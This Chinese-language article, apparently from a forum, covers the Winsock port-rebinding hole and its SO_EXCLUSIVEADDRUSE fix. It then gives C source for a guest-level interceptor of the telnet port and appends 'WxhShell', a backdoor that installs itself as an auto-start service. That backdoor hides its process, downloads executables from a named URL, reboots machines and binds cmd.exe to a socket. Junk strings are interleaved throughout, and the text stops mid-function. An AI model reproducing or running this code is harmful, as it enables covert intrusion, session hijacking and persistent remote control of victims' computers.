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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +}@6V4BRn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zFGZ;?i cb9q0sdf saddr.sin_family = AF_INET; Q.`O;D}x bF{14F$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8A3!XA eWwI@ASaA bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `PeWV[? *kWrF* )J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B:QAG O)WduhlGQ 这意味着什么?意味着可以进行如下的攻击: kpt0spp X4}Lg2ts 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _b1w<T
` Bi|XdS$G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $l!+SLK D_4UM#Tw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dr8`;$;G* ILq"/S. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]>\!} \R< En]+mIEo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6Y(Vs> ??.9`3CYo 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .}zpvr8YP rlIDym9nY~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FtL{f=
TWFi.w4pY #include msiftP. #include fooQqWC) #include yhi6RDS #include +8etCx DWORD WINAPI ClientThread(LPVOID lpParam); 9e:}qO5) int main() a;$'A[hq { {_i.IPp~ WORD wVersionRequested; t6H9Q>* DWORD ret; E5}wR(i,4 WSADATA wsaData; 7f9i5E1 BOOL val; C3
m#v[+ SOCKADDR_IN saddr; LVj62&,- SOCKADDR_IN scaddr; ?m$7)@p int err; ihrl!A5 SOCKET s; 6s"Erq5q SOCKET sc; 'F665 int caddsize; + ^9;<>P HANDLE mt; i+z;tF` DWORD tid; wEImpsC` wVersionRequested = MAKEWORD( 2, 2 ); u*NU MT2 err = WSAStartup( wVersionRequested, &wsaData ); ^Q\O8f[u if ( err != 0 ) { "?~u*5 printf("error!WSAStartup failed!\n"); oqOXRUy return -1; K&WNtk3hT } mfNYN4Um6 saddr.sin_family = AF_INET; *?#t (Y[ Fq<;- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2-3|0<` 6jIW)C saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); = yH#Iil saddr.sin_port = htons(23); *qLOr6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ){.J`X5r {
IiV#V printf("error!socket failed!\n"); (HUGgX"= return -1; Tmo+I4qoL } mj{/' val = TRUE; Hlw0ia //SO_REUSEADDR选项就是可以实现端口重绑定的 v<`1z?dch if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EQ j2:9f { W~1MeAI printf("error!setsockopt failed!\n"); GoGo@5n(Z return -1; #z\{BtK } =v$H8w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \gE3wmSJ, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I oz
rZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MpV6Vbp (]yOd/ru/C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +P~E54 { @a1+ ret=GetLastError(); [akyCb printf("error!bind failed!\n"); z5CWgN return -1; cXO_g!&2A } c !ybz{L listen(s,2); ZZa$/q" while(1) z.9
#AN=&[ { Eu AJ.n caddsize = sizeof(scaddr); "KY9MBzPD //接受连接请求 'ErtiD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o6$Q>g`] if(sc!=INVALID_SOCKET) fU+A~oL%I { .g7ebh6D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "Iy @PR?> if(mt==NULL) p[QF3)9F { su`]l"[,] printf("Thread Creat Failed!\n"); .>-`2B*/ break; GB+U>nf } U+!H/R)( } G}tq'#]E{z CloseHandle(mt); 2S1wL<qP } xi6Fs, 2S closesocket(s); -L/5Nbup WSACleanup(); Sdc;jK 9d! return 0; }{^i*T5rl } z/7H/~d DWORD WINAPI ClientThread(LPVOID lpParam) 1R/=as,R { -4JdKO SOCKET ss = (SOCKET)lpParam; =W9;rQm SOCKET sc; k!]Tg"]JAh unsigned char buf[4096]; wR;_x x SOCKADDR_IN saddr; T
x_n$ & long num; P]Z}%
8^O DWORD val; vXnTPjbE DWORD ret; ;X u&['
//如果是隐藏端口应用的话,可以在此处加一些判断 <!\J([NM8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Riq5Au?*) saddr.sin_family = AF_INET; I3xx}^V saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :8;8-c saddr.sin_port = htons(23); ,=tVa]) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uBk$zs { A$RN7# printf("error!socket failed!\n"); Ms*;?qtrR return -1; * xs8/? } DVYY1!j< val = 100; ]?L?q2>& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a$I;
L { $S$%avRX ret = GetLastError(); Aa&3x~3+ return -1; ~ e[)]b3 } c@{,&,vsj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B @]( , { L4aT=of- ret = GetLastError(); I\sCH return -1; (r,RwWYm } #(@dN+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1$fA9u$ { apUV6h-v printf("error!socket connect failed!\n"); F!VC19<1O8 closesocket(sc); 17G7r\iNYq closesocket(ss); C,Je >G return -1; d]h[]Su/? } d}b#"A while(1) f #414ja { `SWf)1K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +MOUO$;fGt //如果是嗅探内容的话,可以再此处进行内容分析和记录 *#EyfMz-B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8T
6jM+ h num = recv(ss,buf,4096,0); Arz>
P@EQ if(num>0) 3Nw9o6` U send(sc,buf,num,0); E/_=0t else if(num==0) ^zqz$G# break; <?Fgm1=o num = recv(sc,buf,4096,0); v}-'L#6 if(num>0) z@&_3 Gl send(ss,buf,num,0); R\yw9!ESd else if(num==0) ms3Ec`i9 break; &&[j/d}J } q{c6DCc ]\ closesocket(ss); \VPU) closesocket(sc); +(r8SnRX return 0 ; jKQnox+= } T:wd3^.CG U,Z.MPQ TA}gCXE
e ========================================================== *8"5mC;" a&ZH 下边附上一个代码,,WXhSHELL NK*~UePy P 2;j>=W ========================================================== g;=jZ ep[7#\}5 #include "stdafx.h" y{K~g<VL ?{cF'RB. #include <stdio.h> " I`<s < #include <string.h> `-Gs*#(/ #include <windows.h> Tb}`]Y`X #include <winsock2.h> V# w$|B\ #include <winsvc.h> )R{4"&&2 #include <urlmon.h> s<z{ (a *BBP"_$ #pragma comment (lib, "Ws2_32.lib") 6}Y^X #pragma comment (lib, "urlmon.lib") @<},- u ksm=<I"C #define MAX_USER 100 // 最大客户端连接数 x1+8f2[ #define BUF_SOCK 200 // sock buffer _V6;`{$WK #define KEY_BUFF 255 // 输入 buffer F:IG3 @ HnioB=fc #define REBOOT 0 // 重启 (sO;etW #define SHUTDOWN 1 // 关机 YG?W8)T <+sv7"a #define DEF_PORT 5000 // 监听端口 #(bMZ!/( `6lc] r #define REG_LEN 16 // 注册表键长度 Hc^b}A y7 #define SVC_LEN 80 // NT服务名长度 lh~!cOm\=E T
-C2V$1 // 从dll定义API T\8|Q@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,+,""t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E+>Qpy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z{``v|K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6!Ji-'\" Lc+wS@ // wxhshell配置信息 K-k;`s# struct WSCFG { 4\ H;A int ws_port; // 监听端口 "+&|$* char ws_passstr[REG_LEN]; // 口令 W?F+QmD int ws_autoins; // 安装标记, 1=yes 0=no ~2V|]Y;s char ws_regname[REG_LEN]; // 注册表键名 @(Ou;Uy char ws_svcname[REG_LEN]; // 服务名 j3IxcG}f char ws_svcdisp[SVC_LEN]; // 服务显示名 q+e'=0BHd: char ws_svcdesc[SVC_LEN]; // 服务描述信息 R(r89bTQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bNY_V;7Kw` int ws_downexe; // 下载执行标记, 1=yes 0=no #<4h
Y7/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" *Yl9%x]3c char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "J%u
!~ _hA p@?
M }; OPBnU@=R }LDDm/$^} // default Wxhshell configuration DDc?GY: struct WSCFG wscfg={DEF_PORT, hM/|k0YV "xuhuanlingzhe", 8WZM}3x$f{ 1, 7DKbuUK "Wxhshell", W84JB3p "Wxhshell", >UZfi u "WxhShell Service", /V2^/`&;a "Wrsky Windows CmdShell Service", 5RI"gf "Please Input Your Password: ", !95ZK.UT 1, vDv:3qN7( " http://www.wrsky.com/wxhshell.exe", 2^Q)~sSf9 "Wxhshell.exe" !m'lOz }; zg0)9br P8).Qn // 消息定义模块 Kt;h'? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FJp~8
x= char *msg_ws_prompt="\n\r? for help\n\r#>"; d*3k]Ie%5f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; (Pbdwzao char *msg_ws_ext="\n\rExit."; w2YfFtgD, char *msg_ws_end="\n\rQuit."; +P6q
wh\v char *msg_ws_boot="\n\rReboot..."; yWsNG;> char *msg_ws_poff="\n\rShutdown..."; 4}!riWR char *msg_ws_down="\n\rSave to "; ~*- eL. 2^E.sf$f char *msg_ws_err="\n\rErr!"; e%U0^! 8 char *msg_ws_ok="\n\rOK!"; x =5k74 V[5-A $ft char ExeFile[MAX_PATH]; *(PGLYK int nUser = 0; l}5@6;} HANDLE handles[MAX_USER]; yO]Vex5) int OsIsNt; #
0dN!l; loLQ@?E SERVICE_STATUS serviceStatus; ]j~V01p/e SERVICE_STATUS_HANDLE hServiceStatusHandle; 5|9,S *y='0)[BD // 函数声明 b{b2L. int Install(void); ow>^(>^~ int Uninstall(void); Ym8G=KA int DownloadFile(char *sURL, SOCKET wsh); O0i_h<T int Boot(int flag); 506B= void HideProc(void); (XX6M[M8 int GetOsVer(void); U_wn/wcLS int Wxhshell(SOCKET wsl); S}cpYjnH8 void TalkWithClient(void *cs); jY('?3 int CmdShell(SOCKET sock); cuB~A8H#} int StartFromService(void); w\:-lX w int StartWxhshell(LPSTR lpCmdLine); $[by) B=jJ+R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O1ofN#u VOID WINAPI NTServiceHandler( DWORD fdwControl ); %kxq" =3 +5JCbT@y // 数据结构和表定义 nws '%MK) SERVICE_TABLE_ENTRY DispatchTable[] = l|/h4BJ' { B-@6m {wscfg.ws_svcname, NTServiceMain}, G{pfyfF {NULL, NULL} e_kP=|u)g }; Nh^T,nv*l `kpX}cKK} // 自我安装 `M6!V int Install(void) hJ (Q^Z { 1j`-lD char svExeFile[MAX_PATH]; `{gkL- HKEY key; _*>bf G strcpy(svExeFile,ExeFile); cuO(*%Is1 9gZMfP // 如果是win9x系统,修改注册表设为自启动 C},;M@xV if(!OsIsNt) { w-C~
Ik if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TUw^KSa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1`^l8V( RegCloseKey(key); aEo!yea if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o8-BTq8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] QGYEjW RegCloseKey(key); w4Qqo( return 0; j&6,%s-M`a } GvF8S MO[x } '_lyoVP } L'BDS* else { puF'w:I( &=Gz[1
L // 如果是NT以上系统,安装为系统服务 >XcbNZV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W2D^%;mw if (schSCManager!=0) GpMKOjVm| { o]t6u .L SC_HANDLE schService = CreateService HgvgO\`] ( 0&mo1 k_U schSCManager, ig4wwd@| wscfg.ws_svcname, %0fF_OU wscfg.ws_svcdisp, r Lg(J|^ SERVICE_ALL_ACCESS, Dd-;;Y1C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sf);j0G,D SERVICE_AUTO_START, \_Nr7sc\ SERVICE_ERROR_NORMAL, peCmb)>Sa svExeFile, |Zr5I"; NULL, ;5:g%Dt NULL, x#-uf NULL, 4EQ7OGU NULL, MqGF~h|+ NULL Zf68EB ); 'b:e`2fl if (schService!=0) 7F5t& { e^&QT CloseServiceHandle(schService); P~Q5d&1SO CloseServiceHandle(schSCManager); guz{DBlK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KE1S5Mck> strcat(svExeFile,wscfg.ws_svcname); PVP,2Yq! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fq!12/Nn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F1JSf&8 RegCloseKey(key); %Koc^
pb) return 0; \{AxDk{z# } M>D 3NY[, } |RDmY!9& CloseServiceHandle(schSCManager); $/90('D } f#_ XR } kT@RA}
F' s($n return 1; ?Z0T9e< } ^h{AAS> d"<Q}Ay // 自我卸载 ^.5L\ int Uninstall(void) ,Dfq%~:grT { E1IRb': HKEY key; )X@Obg @'C f<wns if(!OsIsNt) { {Z 3t0F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * t6XU RegDeleteValue(key,wscfg.ws_regname); 8ar2N)59 RegCloseKey(key); .F:qJ6E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jIv%?8+% RegDeleteValue(key,wscfg.ws_regname); *Dtwr RegCloseKey(key); nr*~R-,\ return 0; 34-QgE } >8_#L2@ } lTJ1]7) } ePdM9% else { F@Y)yi?z W6ZXb_X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [SgWUP* if (schSCManager!=0) #qXE[% { 4r;!b;3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }M'h5x if (schService!=0) q$z#+2u { #gq4%; if(DeleteService(schService)!=0) { |7n&I`# CloseServiceHandle(schService); g
<^Y^~+E CloseServiceHandle(schSCManager); |={><0 return 0; u3vBMe0v[ } , C2qP3yg CloseServiceHandle(schService); ;v'7l>w3\w } .CdaOWM7 CloseServiceHandle(schSCManager); 4J0{$Xuu0 } o"~ODN"L } @/*{8UBP N]R<EBq return 1; |!{Q4< } LWHP31{R 5%"${ywI // 从指定url下载文件 WLW'. int DownloadFile(char *sURL, SOCKET wsh) s|Ls { @iK=1\-2 HRESULT hr; 0h-holUf}~ char seps[]= "/"; ]2(vO0~ char *token; zqfv|3-!} char *file; DrLNY"Zq char myURL[MAX_PATH]; }1]/dCv char myFILE[MAX_PATH]; $T{,3;kt *6^|i} strcpy(myURL,sURL); 3#huC=zbf token=strtok(myURL,seps); fL.;- while(token!=NULL) =MDir$1Z { ]UKKy2r. file=token; jT"P$0sJAd token=strtok(NULL,seps); s^ rO I~ } Nv "R'Pps *vv<@+gA GetCurrentDirectory(MAX_PATH,myFILE); aSd$;t~ strcat(myFILE, "\\"); 1MHP#X;| strcat(myFILE, file); m6^Ua send(wsh,myFILE,strlen(myFILE),0); @*q WV*$h send(wsh,"...",3,0); 35z]pn%L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w]GoeIg({ if(hr==S_OK) Dww]D|M return 0; EW*!_| else H=])o21 return 1; !R;P"%PHV v ~.X } <h|XB}s+ ~ ui/Qf2| // 系统电源模块 Mf7Q+_! int Boot(int flag) rHPda?&H { W)JUMW2| HANDLE hToken; {9U<! TOKEN_PRIVILEGES tkp; @3KVYv,q BM=`zGh" if(OsIsNt) { `?LQd2p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ta"/R@ k* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4"1OtBU3 tkp.PrivilegeCount = 1; &i"33.#] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ol H{! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c+?L?s`" if(flag==REBOOT) { },'hhj]O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2A|^6#XN' return 0; 2Fi>nJ } 0/hX3h else { bcL>S$B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^_6%dKLK return 0; (1JZuR<?c } ms'&.u&< } =o\:@I[ else { c_clpMx= if(flag==REBOOT) { v'i"Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LqIMU4Ex return 0; J0zudbP } o_&.R else { X<@yt HBv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6GX'&z return 0; Ag}V>i' } qd{o64;| } pcXY6[#N HX\@Qws return 1; nN>D=a"&F } 3U<\y6/ 0h!2--Aur // win9x进程隐藏模块 BF8n: }9U void HideProc(void) @_^QBw0 { `%;nHQ" :,rD5aOQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nge_ Ks if ( hKernel != NULL ) WI9'$hB\ { zk5sAHQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +*,rOK`C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zf$&+E- FreeLibrary(hKernel); Hb'fEo r } 9(lIz{ lMAmico return; !jY/}M~F1 } +4\JY"oi *LcLYxWo // 获取操作系统版本 vM~/|)^0sW int GetOsVer(void) i0/gyK { s([9/ED OSVERSIONINFO winfo; Fp4?/-] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *E:w377<} GetVersionEx(&winfo); W~p^AHco` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tj*o [2mD return 1; T[a1S ?_*T else ju0]~, return 0; %8/Gsu; } 5FqUFzVqsl n>>hfxv(O! // 客户端句柄模块 Hf+A52lrf int Wxhshell(SOCKET wsl) 'j#oMA{0 { g3n^
<[E SOCKET wsh; q_HC68YF, struct sockaddr_in client; ;hF >iw DWORD myID; B)
&BqZ& u~<>jAy while(nUser<MAX_USER) HP|,AmVLl { =sRd5aMs int nSize=sizeof(client); qTC`[l wsh=accept(wsl,(struct sockaddr *)&client,&nSize); . hHt+ if(wsh==INVALID_SOCKET) return 1; |[D~7|? ;Fcdjy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n4YEu\* if(handles[nUser]==0) ^T'+dGU` closesocket(wsh); M_MiY|%V/K else ~c
;7me. nUser++; @
:Q];rc } 9;dP7o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %#Wg>6 %_M B- return 0; w$A*|^w1 } <9-tA\`8N 3Zsqx=w // 关闭 socket m#,
F%s void CloseIt(SOCKET wsh) _jH1Mcq { /7@@CG6b closesocket(wsh); }^G'oR1LF nUser--; C JiMg'K ExitThread(0); @SPmb o } <<(~'$~,L }llzO // 客户端请求句柄 pX6T7 void TalkWithClient(void *cs) T7m rOp { ^]'p927 *-Lnsi^7v SOCKET wsh=(SOCKET)cs; ,qiS;2( char pwd[SVC_LEN]; &gF{<$$ char cmd[KEY_BUFF]; S)VuT0 char chr[1]; 5gF}7D@ int i,j; JC{}iG6r+ kSU*d/}*u while (nUser < MAX_USER) { <S
$Z
)%;#~\A if(wscfg.ws_passstr) { @`}'P115@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {xEX_$nv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DetBZ. //ZeroMemory(pwd,KEY_BUFF); a&L8W4 i=0; ""Drf=] while(i<SVC_LEN) { 1>a^Q tl ;?/ // 设置超时 rZGbU&ZM8 fd_set FdRead; cWFvYF struct timeval TimeOut; (4ow0}1 FD_ZERO(&FdRead); G2a fHL< FD_SET(wsh,&FdRead); Iay7Fkv TimeOut.tv_sec=8; ,-] JCcH TimeOut.tv_usec=0; :KX/` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XIBw&mWf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ea\a: W7(OrA! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U@& <5' pwd =chr[0]; SKLQAE5 if(chr[0]==0xd || chr[0]==0xa) { ct~lt'L\ pwd=0; )yJe h break; J)(]cW. } b${Kj3( i++; 1}[\@n+b } H _3gVrP_ Syp|s3u; // 如果是非法用户,关闭 socket h^hEyrJw
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wk9tJ#} } U45/%?kE)
C&e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Pa-fee send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `9K'I-hv<8 _tjFb_}Q
while(1) { 5R"b1 Y#]Y$n ZeroMemory(cmd,KEY_BUFF); W:rzfO.`Z DT 9i<kl // 自动支持客户端 telnet标准 C
2oll-kN j=0; r{%NMj while(j<KEY_BUFF) { iZSjT"l^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2vWkAC; cmd[j]=chr[0]; `
|]6<<'iW if(chr[0]==0xa || chr[0]==0xd) { 2"__jp:( cmd[j]=0; <V6#)^Or break; JH)&Ca>S } r4D66tF j++; _R5^4 -Qe } ;F5B)&/B >wMsZ+@m // 下载文件 <5$= Ta if(strstr(cmd,"http://")) { <NJ7mR} send(wsh,msg_ws_down,strlen(msg_ws_down),0); L~mL9[( , if(DownloadFile(cmd,wsh)) u'32nf? send(wsh,msg_ws_err,strlen(msg_ws_err),0); VwC,+B else ]KuK\(\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x,7axx6 } i"e)LJz else { =<e# 2 DdSUB switch(cmd[0]) { H}U&=w' |LNXu // 帮助 l^Lg"m2 case '?': { ]iz5VI@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AOWI` break; *=2jteG=3. } fA3 // 安装 U;jk+i case 'i': { o9~qJnB/O if(Install()) hM8G"b send(wsh,msg_ws_err,strlen(msg_ws_err),0); D!Gm9Pa} else E'r*
g{, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W6_3f-4g break; omRd'\ RO } Q?Nzt;)!. // 卸载 (c}0Sg case 'r': { {M%"z,GL7J if(Uninstall()) C*78ZwZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "M:arP5f else n]o+KT\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5cfzpOqr0 break; C*gSx3OG } lO9>?y8.y // 显示 wxhshell 所在路径 Yd<~]aXM case 'p': { qC6Q5F char svExeFile[MAX_PATH]; !tbRqW6v strcpy(svExeFile,"\n\r"); *e8V4P strcat(svExeFile,ExeFile); {T^'&W>8G8 send(wsh,svExeFile,strlen(svExeFile),0); FF_$)%YUp break; XsR%_eT } 1L9^N // 重启 E""/dC:B case 'b': { pGcc6q1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zq`bd55~ if(Boot(REBOOT)) q%y_<Fw#E send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Ng*K]0/E else { tL).f:? closesocket(wsh); 21WqLgT3 4 ExitThread(0); B{K'"uC } xUw\Y(! break; sXydMk`J } Pw7'6W1 // 关机 YVaQ3o|! case 'd': { &t8_J3?Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OcH- `A if(Boot(SHUTDOWN)) J`8>QMK^5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<dD>SU else { @t2 Q5c closesocket(wsh); SKtEEFyIR_ ExitThread(0); 7L\GI`y } y$&a(S] break; 2$Ji4`p}S } GHlra^ // 获取shell njX:[_& case 's': { g SwG=e\ CmdShell(wsh); I{AU, closesocket(wsh); "TV.$s$. ExitThread(0); C>u 3n^ break; >4VU } !'gz&3B~h // 退出 <s2l*mc case 'x': { = ;a4
Dp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V*m)h CloseIt(wsh); XH2SEeh break; #wd \& } .;F+ QP0 // 离开 0!VLPA: case 'q': { X
or ,}. w send(wsh,msg_ws_end,strlen(msg_ws_end),0); ChW0vIL` closesocket(wsh); ?rOb?cu- WSACleanup(); ~pA;j7* exit(1); FKx9$B break; p%ZiTrA1&D } pd;-z } 6nfkZvn } xh6x
B|Z O1ha'@qID // 提示信息 M+E5PZ|_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Kve vPF } wW<"l"x, } < t (Pw ?|8Tgs@+ return; PVU"oz&T } B0
I? (XwLKkw0n // shell模块句柄 uy9B8&Sr int CmdShell(SOCKET sock) IX*S:7S[ { ~fF} STARTUPINFO si; \O8f~zA{G ZeroMemory(&si,sizeof(si)); mc+wRx si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GufP[|7b- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R>U<8z"i PROCESS_INFORMATION ProcessInfo; sKuTG93sr@ char cmdline[]="cmd"; Wi5|9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j>Z]J'P return 0; >YBpB,WND } `eWcp^| ._&lG3' // 自身启动模式 N.G*ii\ int StartFromService(void) _tReZ(Vw { !TOi]`vqc typedef struct f0`'
i[ { h3lDDyu DWORD ExitStatus; w&"w" DWORD PebBaseAddress; =.X?LWKY DWORD AffinityMask; f>5RAg DWORD BasePriority; a-E-hX2 ULONG UniqueProcessId; w~U`+2a3 ULONG InheritedFromUniqueProcessId; rc$!$~|I3Z } PROCESS_BASIC_INFORMATION; 6}T%m?/ } W|#ev*'F PROCNTQSIP NtQueryInformationProcess; euhZ4+ cXY'>N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; --twkD static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j?f <hQ {~t4 HANDLE hProcess; D' `"_ PROCESS_BASIC_INFORMATION pbi; E)JyKm. ^B5cNEO HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S@g/Tn if(NULL == hInst ) return 0; unnx#e] V*zz-
